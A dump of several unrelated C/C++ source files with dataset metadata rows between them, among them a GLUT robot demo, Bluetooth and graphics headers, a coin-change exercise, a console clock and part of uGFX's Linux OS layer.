/* end of miscelleneous functions */
}
if (i)
glutPostRedisplay();
}
#endif
#endif
void
menu_select(int mode)
{
switch (mode) {
#ifdef ANIMATION
case 1:
glutIdleFunc(animation);
break;
#endif
case 2:
glutIdleFunc(NULL);
break;
case 3:
Toggle();
glutPostRedisplay();
break;
case 4:
exit(EXIT_SUCCESS);
}
}
/* ARGSUSED */
void
null_select(int mode)
{
}
void
glutMenu(void)
{
int glut_menu[13];
glut_menu[5] = glutCreateMenu(null_select);
glutAddMenuEntry("forward : q,w", 0);
glutAddMenuEntry("backwards : a,s", 0);
glutAddMenuEntry("outwards : z,x", 0);
glutAddMenuEntry("inwards : Z,X", 0);
glut_menu[6] = glutCreateMenu(null_select);
glutAddMenuEntry("upwards : Q,W", 0);
glutAddMenuEntry("downwards : A,S", 0);
glutAddMenuEntry("outwards : 1,2", 0);
glutAddMenuEntry("inwards : 3,4", 0);
glut_menu[1] = glutCreateMenu(null_select);
glutAddMenuEntry(" : Page_up", 0);
glut_menu[8] = glutCreateMenu(null_select);
glutAddMenuEntry("forward : y,u", 0);
glutAddMenuEntry("backwards : h.j", 0);
glutAddMenuEntry("outwards : Y,U", 0);
glutAddMenuEntry("inwards : H,J", 0);
glut_menu[9] = glutCreateMenu(null_select);
glutAddMenuEntry("forward : n,m", 0);
glutAddMenuEntry("backwards : N,M", 0);
glut_menu[9] = glutCreateMenu(null_select);
glutAddMenuEntry("forward : n,m", 0);
glutAddMenuEntry("backwards : N,M", 0);
glut_menu[10] = glutCreateMenu(null_select);
glutAddMenuEntry("toes up : K,L", 0);
glutAddMenuEntry("toes down : k,l", 0);
glut_menu[11] = glutCreateMenu(null_select);
glutAddMenuEntry("right : right arrow", 0);
glutAddMenuEntry("left : left arrow", 0);
glutAddMenuEntry("down : up arrow", 0);
glutAddMenuEntry("up : down arrow", 0);
glut_menu[12] = glutCreateMenu(null_select);
glutAddMenuEntry("right : p", 0);
glutAddMenuEntry("left : i", 0);
glutAddMenuEntry("up : 9", 0);
glutAddMenuEntry("down : o", 0);
glut_menu[4] = glutCreateMenu(NULL);
glutAddSubMenu("at the shoulders? ", glut_menu[5]);
glutAddSubMenu("at the elbows?", glut_menu[6]);
glut_menu[7] = glutCreateMenu(NULL);
glutAddSubMenu("at the hip? ", glut_menu[8]);
glutAddSubMenu("at the knees?", glut_menu[9]);
glutAddSubMenu("at the ankles? ", glut_menu[10]);
glut_menu[2] = glutCreateMenu(null_select);
glutAddMenuEntry("turn left : d", 0);
glutAddMenuEntry("turn right : g", 0);
glut_menu[3] = glutCreateMenu(null_select);
glutAddMenuEntry("tilt backwards : f", 0);
glutAddMenuEntry("tilt forwards : r", 0);
glut_menu[0] = glutCreateMenu(NULL);
glutAddSubMenu("move the arms.. ", glut_menu[4]);
glutAddSubMenu("fire the vulcan guns?", glut_menu[1]);
glutAddSubMenu("move the legs.. ", glut_menu[7]);
glutAddSubMenu("move the torso?", glut_menu[2]);
glutAddSubMenu("move the hip?", glut_menu[3]);
glutAddSubMenu("rotate the scene..", glut_menu[11]);
#ifdef MOVE_LIGHT
glutAddSubMenu("rotate the light source..", glut_menu[12]);
#endif
glutCreateMenu(menu_select);
#ifdef ANIMATION
glutAddMenuEntry("Start Walk", 1);
glutAddMenuEntry("Stop Walk", 2);
#endif
glutAddMenuEntry("Toggle Wireframe", 3);
glutAddSubMenu("How do I ..", glut_menu[0]);
glutAddMenuEntry("Quit", 4);
glutAttachMenu(GLUT_LEFT_BUTTON);
glutAttachMenu(GLUT_RIGHT_BUTTON);
}
int
main(int argc, char **argv)
{
#ifdef GLUT
/* start of glut windowing and control functions */
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGBA | GLUT_DEPTH);
glutInitWindowSize(800, 600);
glutCreateWindow("glutmech: Vulcan Gunner");
myinit();
glutDisplayFunc(display);
glutReshapeFunc(myReshape);
#ifdef GLUT_KEY
glutKeyboardFunc(keyboard);
#endif
#ifdef GLUT_SPEC
glutSpecialFunc(special);
#endif
glutMenu();
glutMainLoop();
/* end of glut windowing and control functions */
#endif
return 0; /* ANSI C requires main to return int. */
}
| 20.736245 | 93 | 0.586356 |
bd48086af8744ed41f5bfeddd9eb9c0198b84830 | 1,239 | h | C | src/third_party/mozjs/include/js/UbiNodeUtils.h | benety/mongo | 203430ac9559f82ca01e3cbb3b0e09149fec0835 | [
"Apache-2.0"
] | null | null | null | src/third_party/mozjs/include/js/UbiNodeUtils.h | benety/mongo | 203430ac9559f82ca01e3cbb3b0e09149fec0835 | [
"Apache-2.0"
] | null | null | null | src/third_party/mozjs/include/js/UbiNodeUtils.h | benety/mongo | 203430ac9559f82ca01e3cbb3b0e09149fec0835 | [
"Apache-2.0"
] | null | null | null | /* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*-
* vim: set ts=8 sts=2 et sw=2 tw=80:
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#ifndef js_UbiNodeUtils_h
#define js_UbiNodeUtils_h
#include "jspubtd.h"
#include "js/UbiNode.h"
#include "js/UniquePtr.h"
using JS::ubi::Edge;
using JS::ubi::EdgeRange;
using JS::ubi::EdgeVector;
namespace JS {
namespace ubi {
// An EdgeRange concrete class that simply holds a vector of Edges,
// populated by the addTracerEdges method.
class SimpleEdgeRange : public EdgeRange {
EdgeVector edges;
size_t i;
protected:
void settle() { front_ = i < edges.length() ? &edges[i] : nullptr; }
public:
explicit SimpleEdgeRange() : edges(), i(0) {}
bool addTracerEdges(JSRuntime* rt, void* thing, JS::TraceKind kind,
bool wantNames);
bool addEdge(Edge edge) {
if (!edges.append(std::move(edge))) return false;
settle();
return true;
}
void popFront() override {
i++;
settle();
}
};
} // namespace ubi
} // namespace JS
#endif // js_UbiNodeUtils_h
| 23.826923 | 76 | 0.663438 |
bd48a1d27505422f5d086f4e9a07024bc5ee95f2 | 1,069 | c | C | algorithms/dynamic-programming/make_a_change_problem.c | shubhamkumarcs/c | 11cb8b121c5a7877dac07c2585f7380c962cd27a | [
"MIT"
] | null | null | null | algorithms/dynamic-programming/make_a_change_problem.c | shubhamkumarcs/c | 11cb8b121c5a7877dac07c2585f7380c962cd27a | [
"MIT"
] | null | null | null | algorithms/dynamic-programming/make_a_change_problem.c | shubhamkumarcs/c | 11cb8b121c5a7877dac07c2585f7380c962cd27a | [
"MIT"
] | 1 | 2021-10-03T17:30:41.000Z | 2021-10-03T17:30:41.000Z | // make a chnage problem
#include<stdio.h>
int min(int a, int b) {
if(a<b){
return a;
}
else{
return b;
}
}
int main(){
int no_of_denomination,amount,denomination[100],i,j;
int ch[20][20],min_coin=99999999;;
printf("Enter the amount you want to exchange:");
scanf("%d",&amount);
printf("Enter the no. of denomination:");
scanf("%d",&no_of_denomination);
printf("Denomination are:\n");
for(i=1;i<=no_of_denomination;i++){
scanf("%d",&denomination[i]);
}
int ch_amount[amount+1];
int t[no_of_denomination][amount+1];
for(i=1;i<=no_of_denomination;i++){
for(j=0;j<amount+1;j++){
if(j==0){
t[i][j]=0;
}
else if(denomination[i]==1){
t[i][j]=1+t[i][j-1];
}
else if(j<denomination[i]){
t[i][j]=t[i-1][j];
}
else{
t[i][j]=min(t[i-1][j],1+t[i][j-denomination[i]]);
}
printf("t[%d][%d]=%d\n",i,j,t[i][j]);
min_coin=min(t[i][amount],t[i][amount]);
}
}
printf("minimum no. of coin required: %d",min_coin);
return 0;
}
| 23.23913 | 56 | 0.543499 |
bd48f90c87640c1dd397e9c5ec1f8643b759c9e1 | 3,427 | h | C | emu-ex-plus-alpha/imagine/bundle/all/src/btstack/btstack-svn/src/hci_transport.h | damoonvisuals/GBA4iOS | 95bfce0aca270b68484535ecaf0d3b2366739c77 | [
"MIT"
] | 1 | 2018-11-14T23:40:35.000Z | 2018-11-14T23:40:35.000Z | emu-ex-plus-alpha/imagine/bundle/all/src/btstack/btstack-svn/src/hci_transport.h | damoonvisuals/GBA4iOS | 95bfce0aca270b68484535ecaf0d3b2366739c77 | [
"MIT"
] | null | null | null | emu-ex-plus-alpha/imagine/bundle/all/src/btstack/btstack-svn/src/hci_transport.h | damoonvisuals/GBA4iOS | 95bfce0aca270b68484535ecaf0d3b2366739c77 | [
"MIT"
] | null | null | null | /*
* Copyright (C) 2009-2012 by Matthias Ringwald
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holders nor the names of
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
* 4. Any redistribution, use, or modification is done solely for
* personal benefit and not for any commercial purpose or for
* monetary gain.
*
* THIS SOFTWARE IS PROVIDED BY MATTHIAS RINGWALD AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL MATTHIAS
* RINGWALD OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
* THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* Please inquire about commercial licensing options at btstack@ringwald.ch
*
*/
/*
* hci_transport.h
*
* HCI Transport API -- allows BT Daemon to use different transport protcols
*
* Created by Matthias Ringwald on 4/29/09.
*
*/
#pragma once
#include <stdint.h>
#include <btstack/run_loop.h>
#if defined __cplusplus
extern "C" {
#endif
/* HCI packet types */
typedef struct {
int (*open)(void *transport_config);
int (*close)(void *transport_config);
int (*send_packet)(uint8_t packet_type, uint8_t *packet, int size);
void (*register_packet_handler)(void (*handler)(uint8_t packet_type, uint8_t *packet, uint16_t size));
const char * (*get_transport_name)(void);
// custom extension for UART transport implementations
int (*set_baudrate)(uint32_t baudrate);
// support async transport layers, e.g. IRQ driven without buffers
int (*can_send_packet_now)(uint8_t packet_type);
} hci_transport_t;
typedef struct {
const char *device_name;
uint32_t baudrate_init; // initial baud rate
uint32_t baudrate_main; // = 0: same as initial baudrate
int flowcontrol; //
} hci_uart_config_t;
// inline various hci_transport_X.h files
extern hci_transport_t * hci_transport_h4_instance(void);
extern hci_transport_t * hci_transport_h4_dma_instance(void);
extern hci_transport_t * hci_transport_h4_iphone_instance(void);
extern hci_transport_t * hci_transport_h5_instance(void);
extern hci_transport_t * hci_transport_usb_instance(void);
// support for "enforece wake device" in h4 - used by iOS power management
extern void hci_transport_h4_iphone_set_enforce_wake_device(char *path);
#if defined __cplusplus
}
#endif
| 38.505618 | 108 | 0.750802 |
bd4a3447949d8d60590ab8f6f745d1ba56c23641 | 2,901 | h | C | Tools/esp/type.h | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Tools/esp/type.h | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Tools/esp/type.h | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | /***********************************************************************
*
* Copyright (c) Berkeley Softworks 1988 -- All Rights Reserved
*
* PROJECT: PCGEOS
* MODULE: Esp -- Type Description definitions.
* FILE: type.h
*
* AUTHOR: Adam de Boor: Mar 27, 1989
*
* REVISION HISTORY:
* Date Name Description
* ---- ---- -----------
* 3/27/89 ardeb Initial version
*
* DESCRIPTION:
* Definitions for building up type descriptions.
*
*
* $Id: type.h,v 1.13 94/05/15 15:09:14 adam Exp $
*
***********************************************************************/
#ifndef _TYPE_H_
#define _TYPE_H_
#define TYPE_PTR_FAR 'f'
#define TYPE_PTR_NEAR 'n'
#define TYPE_PTR_LMEM 'l'
#define TYPE_PTR_HANDLE 'h'
#define TYPE_PTR_SEG 's'
#define TYPE_PTR_OBJ 'o'
#define TYPE_PTR_VM 'v'
#define TYPE_PTR_VIRTUAL 'F'
typedef struct _Type {
enum TypeType {
TYPE_CHAR, /* Character */
TYPE_INT, /* Unspecified (integer) */
TYPE_PTR, /* Pointer to something */
TYPE_ARRAY, /* Array of things */
TYPE_STRUCT, /* Structured type (STRUC, Enum, RECORD) */
TYPE_VOID, /* Void (used for pointers to routines) */
TYPE_SIGNED, /* Signed integer */
TYPE_NEAR, /* NEAR label */
TYPE_FAR, /* FAR label */
TYPE_FLOATSTACK /* coprocessor stack element */
} tn_type; /* Type of node */
VMBlockHandle tn_block; /* Block in which type was last written */
word tn_offset; /* Offset at which it was written */
struct _Type *tn_ptrto; /* First description of a pointer to
* this type. */
union {
int tn_int; /* Size of TYPE_INT/TYPE_SIGNED */
SymbolPtr tn_struct; /* Type for TYPE_STRUCT */
struct {
struct _Type *tn_base; /* Type pointed to */
struct _Type *tn_next; /* Next pointer class to same
* base */
char tn_ptrtype; /* Type of pointer */
} tn_ptr; /* Data for TYPE_PTR */
struct {
struct _Type *tn_base; /* Base type of array */
int tn_length; /* Length of array */
} tn_array; /* Data for TYPE_ARRAY */
int tn_floatstack; /* coprocessor stack element */
int tn_charSize; /* Size of TYPE_CHAR */
} tn_u;
} TypeRec, *TypePtr;
/*
* Constructors
*/
extern TypeRec typeNear, typeFar, typeVoid;
#define Type_Near() (&typeNear)
#define Type_Far() (&typeFar)
#define Type_Void() (&typeVoid)
extern TypePtr Type_Int(int size),
Type_Char(int size),
Type_Array(int len, TypePtr base),
Type_Signed(int size),
Type_Struct(SymbolPtr t),
Type_Ptr(char pType, TypePtr base);
/*
* Things to deal with type descriptions
*/
extern int Type_Size(TypePtr type);
extern int Type_Length(TypePtr type);
extern int Type_Equal(TypePtr t1, TypePtr t2);
#endif /* _TYPE_H_ */
| 31.193548 | 77 | 0.582213 |
bd4c777c1b48e9304f93660baf06010e2f290a44 | 805 | h | C | frameworks/PPHSDK_BLE.framework/Headers/RDeviceInfo.h | Pyrex421/paypal-here-sdk-ios-distribution | 945d0db66aa38ba28c726944a80b64d352436690 | [
"RSA-MD"
] | 56 | 2016-12-04T16:43:06.000Z | 2022-01-14T23:03:32.000Z | frameworks/PPHSDK_BLE.framework/Headers/RDeviceInfo.h | Pyrex421/paypal-here-sdk-ios-distribution | 945d0db66aa38ba28c726944a80b64d352436690 | [
"RSA-MD"
] | 163 | 2016-12-08T14:30:24.000Z | 2021-11-07T02:10:10.000Z | frameworks/PPHSDK_BLE.framework/Headers/RDeviceInfo.h | Pyrex421/paypal-here-sdk-ios-distribution | 945d0db66aa38ba28c726944a80b64d352436690 | [
"RSA-MD"
] | 61 | 2016-12-22T10:02:46.000Z | 2021-09-04T16:30:31.000Z | //
// DeviceInfo.h
// BLEBaseDriver
//
// Created by Landi 联迪 on 13-8-28.
// Copyright (c) 2013年 Landi 联迪. All rights reserved.
//
#import <Foundation/Foundation.h>
typedef enum _enumDeviceCommunicationChannel{
AUDIOJACK = 0x01,
BLUETOOTH = 0x02,
MFIBLUETOOTH = 0x04,
ANYDEVICETYPE = 0xFFFFFFFF,
}DeviceCommunicationChannel;
typedef enum _enumExtendDataKeyOfDeviceInfo{
LD_ExtendData_KEY_RSSI, // Obtain the RSSI when discover the peripheral at first time. Value: NSInteger
}LD_ExtendDataKeyOfDeviceInfo;
@interface RDeviceInfo : NSObject
-(id)initWithName:(NSString*)name identifier:(NSString*)identifier channel:(DeviceCommunicationChannel)dcc;
-(NSString*)getName;
-(NSString*)getIdentifier;
-(DeviceCommunicationChannel)getDevChannel;
-(NSDictionary*)getExtendData;
@end
| 25.967742 | 107 | 0.771429 |
bd4cd328c74505c9ffcb9b05f5a206706ce7062a | 1,116 | h | C | engine/Engine/src/graphics/mesh/PlaneMesh.h | ZieIony/Ghurund | be84166ef0aba5556910685b7a3b754b823da556 | [
"MIT"
] | 66 | 2018-12-16T21:03:36.000Z | 2022-03-26T12:23:57.000Z | engine/Engine/src/graphics/mesh/PlaneMesh.h | ZieIony/Ghurund | be84166ef0aba5556910685b7a3b754b823da556 | [
"MIT"
] | 57 | 2018-04-24T20:53:01.000Z | 2021-02-21T12:14:20.000Z | engine/Engine/src/graphics/mesh/PlaneMesh.h | ZieIony/Ghurund | be84166ef0aba5556910685b7a3b754b823da556 | [
"MIT"
] | 7 | 2019-07-16T08:25:25.000Z | 2022-03-21T08:29:46.000Z | #pragma once
#include "Mesh.h"
#include "core/resource/ResourceManager.h"
namespace Ghurund {
class PlaneMesh: public Mesh {
public:
Status init(Graphics& graphics, CommandList& commandList, unsigned int detail = 0) {
Vertex triangleVertices[] = {
{{-1.0f, 0.0f, -1.0f}, {0,1,0}, {0,0}},
{{1.0f, 0.0f, 1.0f}, {0,1,0}, {1,1}},
{{1.0f, 0.0f, -1.0f}, {0,1,0}, {0,1}},
{{-1.0f, 0.0f, 1.0f}, {0,1,0}, {1,0}},
};
vertexSize = sizeof(Vertex);
vertexCount = sizeof(triangleVertices) / vertexSize;
vertices = ghnew Vertex[vertexCount];
memcpy(vertices, triangleVertices, vertexCount * vertexSize);
indices = ghnew unsigned int[6]{
0, 1, 2, // first triangle
0, 3, 1, // second triangle
};
indexCount = 6;
for (size_t i = 0; i < detail; i++)
subdivide();
geometry = ghnew PxPlaneGeometry();
return Mesh::init(graphics, commandList);
}
};
} | 30.162162 | 92 | 0.492832 |
bd4ce1f684a03d09fce4d6f897f81b04ab9c2415 | 1,023 | h | C | include/wmrde/ode/simulate_ode.h | norlab-ulaval/wmrde | 69e1f20bedd9c145878d44dbe17b3de405696fe3 | [
"BSD-2-Clause"
] | 18 | 2015-05-09T21:53:43.000Z | 2021-12-01T07:52:09.000Z | include/wmrde/ode/simulate_ode.h | norlab-ulaval/wmrde | 69e1f20bedd9c145878d44dbe17b3de405696fe3 | [
"BSD-2-Clause"
] | 5 | 2016-05-29T09:02:09.000Z | 2021-05-07T16:36:38.000Z | include/wmrde/ode/simulate_ode.h | norlab-ulaval/wmrde | 69e1f20bedd9c145878d44dbe17b3de405696fe3 | [
"BSD-2-Clause"
] | 11 | 2016-07-15T16:46:51.000Z | 2022-03-14T13:11:22.000Z | //simulateODE.h
//functions to convert a WmrModel object to a WmrModelODE object (Open Dynamics Engine) and simulate it
#ifndef _WMRDE_SIMULATEODE_H_
#define _WMRDE_SIMULATEODE_H_
#include <wmrde/state.h>
#include <wmrde/ode/WmrModelODE.h>
#include <wmrde/collision.h>
//pass by reference
void convertToWmrModelODE( const WmrModel &mdl, WmrModelODE &mdl_ode);
void getHTODE( const WmrModel &mdl, const WmrModelODE &mdl_ode, HomogeneousTransform HT_world[], HomogeneousTransform HT_parent[] );
void getStateODE( const WmrModelODE &mdl_ode, Real state[] );
void setStateODE( const WmrModel &mdl, const Real state[], WmrModelODE &mdl_ode );
//joint space velocity
void getQvelODE( const WmrModelODE &mdl_ode, Real qvel[] );
void setQvelODE( const WmrModel &mdl, const Real qvel[], WmrModelODE &mdl_ode );
void stepODE( const Real time, const WmrModel& mdl, const SurfaceVector& surfaces, const Real dt, //inputs
WmrModelODE& mdl_ode, HomogeneousTransform HT_parent[], WheelContactGeom contacts[]); //outputs
#endif
| 36.535714 | 132 | 0.780059 |
bd4d14fd3a4b6e7f23b9d8518009c2df12c88b84 | 358 | h | C | tdfc2/src/common/spec/load.h | dj3vande/tendra | 86981ad5574f55821853e3bdf5f82e373f91edb2 | [
"BSD-3-Clause"
] | null | null | null | tdfc2/src/common/spec/load.h | dj3vande/tendra | 86981ad5574f55821853e3bdf5f82e373f91edb2 | [
"BSD-3-Clause"
] | null | null | null | tdfc2/src/common/spec/load.h | dj3vande/tendra | 86981ad5574f55821853e3bdf5f82e373f91edb2 | [
"BSD-3-Clause"
] | null | null | null | /*
* Copyright 2002-2011, The TenDRA Project.
* Copyright 1997, United Kingdom Secretary of State for Defence.
*
* See doc/copyright/ for the full copyright terms.
*/
#ifndef LOAD_INCLUDED
#define LOAD_INCLUDED
/*
SPEC INPUT DECLARATIONS
The routines in this module are concerned with spec reading.
*/
extern int read_spec(void);
#endif
| 15.565217 | 65 | 0.726257 |
bd4d5c520d911b883c531cb2b4adee20041891d7 | 1,756 | c | C | Valencia-College/Classes/C/cTime.c | tsimmons15/school-work | 09d040c129ebf4c7721acfa62398f85b00732286 | [
"Unlicense"
] | null | null | null | Valencia-College/Classes/C/cTime.c | tsimmons15/school-work | 09d040c129ebf4c7721acfa62398f85b00732286 | [
"Unlicense"
] | null | null | null | Valencia-College/Classes/C/cTime.c | tsimmons15/school-work | 09d040c129ebf4c7721acfa62398f85b00732286 | [
"Unlicense"
] | null | null | null | #include <stdio.h>
#include <stdlib.h>
int main()
{
int now = 0, seconds = 0, minutes = 0, hours = 0, days = 0, weeks = 0, months = 0, years = 0;
int i = 0;
now = time(NULL);
seconds = now;
minutes = 60;
hours = 60 * minutes;
days = 24 * hours;
weeks = 7 * days;
months = 30.42 * days;
years = 12 * months;
int yearsPassed = 0, monthsPassed = 0, weeksPassed = 0, daysPassed = 0, hoursPassed = 0, minutesPassed = 0;
do
{
now = time(NULL);
seconds = now;
yearsPassed = now / years;
//printf("The number of years... %i\n", yearsPassed);
now -= years * yearsPassed;
monthsPassed = (now / months);
//printf("The number of months... %i\n", monthsPassed);
now -= months * monthsPassed;
weeksPassed = (now / weeks);
//printf("The number of weeks... %i\n", weeksPassed);
now -= (weeksPassed - 1) * weeks;
daysPassed = (now/days);
//printf("The number of days... %i\n", daysPassed);
now -= days * daysPassed;
hoursPassed = (seconds/hours) % 24 - 4;
//printf("The number of hours...%i\n", hoursPassed);
now -= hours * hoursPassed;
minutesPassed = (seconds/minutes) % 60;
//printf("The number of minutes... %i\n", minutesPassed);
now -= minutes * minutesPassed;
//printf("The number of seconds... %i\n", seconds % 60);
printf("The time: %02i:%02i:%02i", hoursPassed, minutesPassed, seconds % 60);
printf(" %02i/%02i/%4i\n", daysPassed, monthsPassed + 1, yearsPassed + 1970);
while (i++ < 25555555);
system("cls");
i = 0;
} while (1);
system("pause");
return 0;
}
| 33.132075 | 111 | 0.535308 |
bd4df54564754fd0d036e0f10196d1b55dc87389 | 2,914 | h | C | Examples_3/Aura/src/Geometry.h | divecoder/The-Forge | e882fbc000b2915b52c98fe3a8c791930490dd3c | [
"Apache-2.0"
] | 3,058 | 2017-10-03T01:33:22.000Z | 2022-03-30T22:04:23.000Z | Examples_3/Aura/src/Geometry.h | juteman/The-Forge | e882fbc000b2915b52c98fe3a8c791930490dd3c | [
"Apache-2.0"
] | 157 | 2018-01-26T10:18:33.000Z | 2022-03-06T10:59:23.000Z | Examples_3/Aura/src/Geometry.h | juteman/The-Forge | e882fbc000b2915b52c98fe3a8c791930490dd3c | [
"Apache-2.0"
] | 388 | 2017-12-21T10:52:32.000Z | 2022-03-31T18:25:49.000Z | /*
* Copyright (c) 2018-2021 Confetti Interactive Inc.
*
* This is a part of Aura.
*
* This file(code) is licensed under a
* Creative Commons Attribution-NonCommercial 4.0 International License
*
* (https://creativecommons.org/licenses/by-nc/4.0/legalcode)
*
* Based on a work at https://github.com/ConfettiFX/The-Forge.
* You may not use the material for commercial purposes.
*
*/
#ifndef Geometry_h
#define Geometry_h
#include "../../../Common_3/ThirdParty/OpenSource/EASTL/vector.h"
#include "../../../Common_3/Renderer/IRenderer.h"
#include "../../../Common_3/Renderer/IResourceLoader.h"
#define NO_FSL_DEFINITIONS
#include "Shaders/FSL/shader_defs.h"
#define MAX_PATH 260
// Type definitions
typedef struct SceneVertexPos
{
float x, y, z;
} SceneVertexPos;
typedef struct ClusterCompact
{
uint32_t triangleCount;
uint32_t clusterStart;
} ClusterCompact;
typedef struct Cluster
{
float3 aabbMin, aabbMax;
float3 coneCenter, coneAxis;
float coneAngleCosine;
float distanceFromCamera;
bool valid;
} Cluster;
typedef struct ClusterContainer
{
uint32_t clusterCount;
ClusterCompact* clusterCompacts;
Cluster* clusters;
} ClusterContainer;
typedef struct Material
{
bool twoSided;
bool alphaTested;
} Material;
typedef struct Scene
{
Geometry* geom;
Material* materials;
char** textures;
char** normalMaps;
char** specularMaps;
} Scene;
typedef struct FilterBatchData
{
#if 0 //defined(METAL)
uint32_t triangleCount;
uint32_t triangleOffset;
uint32_t meshIdx;
uint32_t twoSided;
#else
uint meshIndex; // Index into meshConstants
uint indexOffset; // Index relative to the meshConstants[meshIndex].indexOffset
uint faceCount; // Number of faces in this small batch
uint outputIndexOffset; // Offset into the output index buffer
uint drawBatchStart; // First slot for the current draw call
uint accumDrawIndex;
uint _pad0;
uint _pad1;
#endif
} FilterBatchData;
typedef struct FilterBatchChunk
{
uint32_t currentBatchCount;
uint32_t currentDrawCallCount;
} FilterBatchChunk;
// Exposed functions
Scene* loadScene(const char* pFileName, float scale, float offsetX, float offsetY, float offsetZ);
void removeScene(Scene* scene);
void createClusters(bool twoSided, const Scene* pScene, IndirectDrawIndexArguments* draw, ClusterContainer* mesh);
void destroyClusters(ClusterContainer* mesh);
void addClusterToBatchChunk(
const ClusterCompact* cluster, uint batchStart, uint accumDrawCount, uint accumNumTriangles, int meshIndex,
FilterBatchChunk* batchChunk, FilterBatchData* batches);
void createCubeBuffers(Renderer* pRenderer, CmdPool* cmdPool, Buffer** outVertexBuffer, Buffer** outIndexBuffer);
#endif
| 26.490909 | 116 | 0.708648 |
bd4e00602eb06690f6d1864dc99c8694bdc848f1 | 5,423 | c | C | examples/aws_iot_demo/components/hmi/ugfx_gui/ugfx/src/gos/gos_linux.c | jgrocha/geomaster-esp-iot-solution | c6d57365c13cf84d37d0ee92ce179b73ef8db6f9 | [
"Apache-2.0"
] | null | null | null | examples/aws_iot_demo/components/hmi/ugfx_gui/ugfx/src/gos/gos_linux.c | jgrocha/geomaster-esp-iot-solution | c6d57365c13cf84d37d0ee92ce179b73ef8db6f9 | [
"Apache-2.0"
] | 27 | 2019-03-12T10:13:29.000Z | 2019-06-07T20:40:56.000Z | examples/aws_iot_demo/components/hmi/ugfx_gui/ugfx/src/gos/gos_linux.c | jgrocha/geomaster-esp-iot-solution | c6d57365c13cf84d37d0ee92ce179b73ef8db6f9 | [
"Apache-2.0"
] | 3 | 2020-05-01T06:33:57.000Z | 2020-05-13T12:01:25.000Z | /*
* This file is subject to the terms of the GFX License. If a copy of
* the license was not distributed with this file, you can obtain one at:
*
* http://ugfx.org/license.html
*/
// We need to include stdio.h below. Turn off GFILE_NEED_STDIO just for this file to prevent conflicts
#define GFILE_NEED_STDIO_MUST_BE_OFF
#include "../../gfx.h"
#if GFX_USE_OS_LINUX
// Linux seems to have deprecated pthread_yield() and now says to use sched_yield()
#define USE_SCHED_NOT_PTHREAD_YIELD GFXON
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#if USE_SCHED_NOT_PTHREAD_YIELD
#include <sched.h>
#define linuxyield() sched_yield()
#else
#define linuxyield() pthread_yield()
#endif
static gfxMutex SystemMutex;
void _gosInit(void)
{
/* No initialization of the operating system itself is needed */
gfxMutexInit(&SystemMutex);
}
void _gosPostInit(void)
{
}
void _gosDeinit(void)
{
/* ToDo */
}
void gfxSystemLock(void) {
gfxMutexEnter(&SystemMutex);
}
void gfxSystemUnlock(void) {
gfxMutexExit(&SystemMutex);
}
void gfxYield(void) {
linuxyield();
}
void gfxHalt(const char *msg) {
if (msg)
fprintf(stderr, "%s\n", msg);
exit(1);
}
void gfxSleepMilliseconds(delaytime_t ms) {
struct timespec ts;
switch(ms) {
case TIME_IMMEDIATE:
linuxyield();
return;
case TIME_INFINITE:
while(1)
sleep(60);
return;
default:
ts.tv_sec = ms / 1000;
ts.tv_nsec = (ms % 1000) * 1000000;
nanosleep(&ts, 0);
return;
}
}
void gfxSleepMicroseconds(delaytime_t us) {
struct timespec ts;
switch(us) {
case TIME_IMMEDIATE:
linuxyield();
return;
case TIME_INFINITE:
while(1)
sleep(60);
return;
default:
ts.tv_sec = us / 1000000;
ts.tv_nsec = (us % 1000000) * 1000;
nanosleep(&ts, 0);
return;
}
}
systemticks_t gfxSystemTicks(void) {
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
}
gfxThreadHandle gfxThreadCreate(void *stackarea, size_t stacksz, threadpriority_t prio, DECLARE_THREAD_FUNCTION((*fn),p), void *param) {
gfxThreadHandle th;
(void) stackarea;
(void) stacksz;
(void) prio;
// Implementing priority with pthreads is a rats nest that is also pthreads implementation dependent.
// Only some pthreads schedulers support it, some implementations use the operating system process priority mechanisms.
// Even those that do support it can have different ranges of priority and "normal" priority is an undefined concept.
// Across different UNIX style operating systems things can be very different (let alone OS's such as Windows).
// Even just Linux changes the way priority works with different kernel schedulers and across kernel versions.
// For these reasons we ignore the priority.
if (pthread_create(&th, 0, fn, param))
return 0;
return th;
}
threadreturn_t gfxThreadWait(gfxThreadHandle thread) {
threadreturn_t retval;
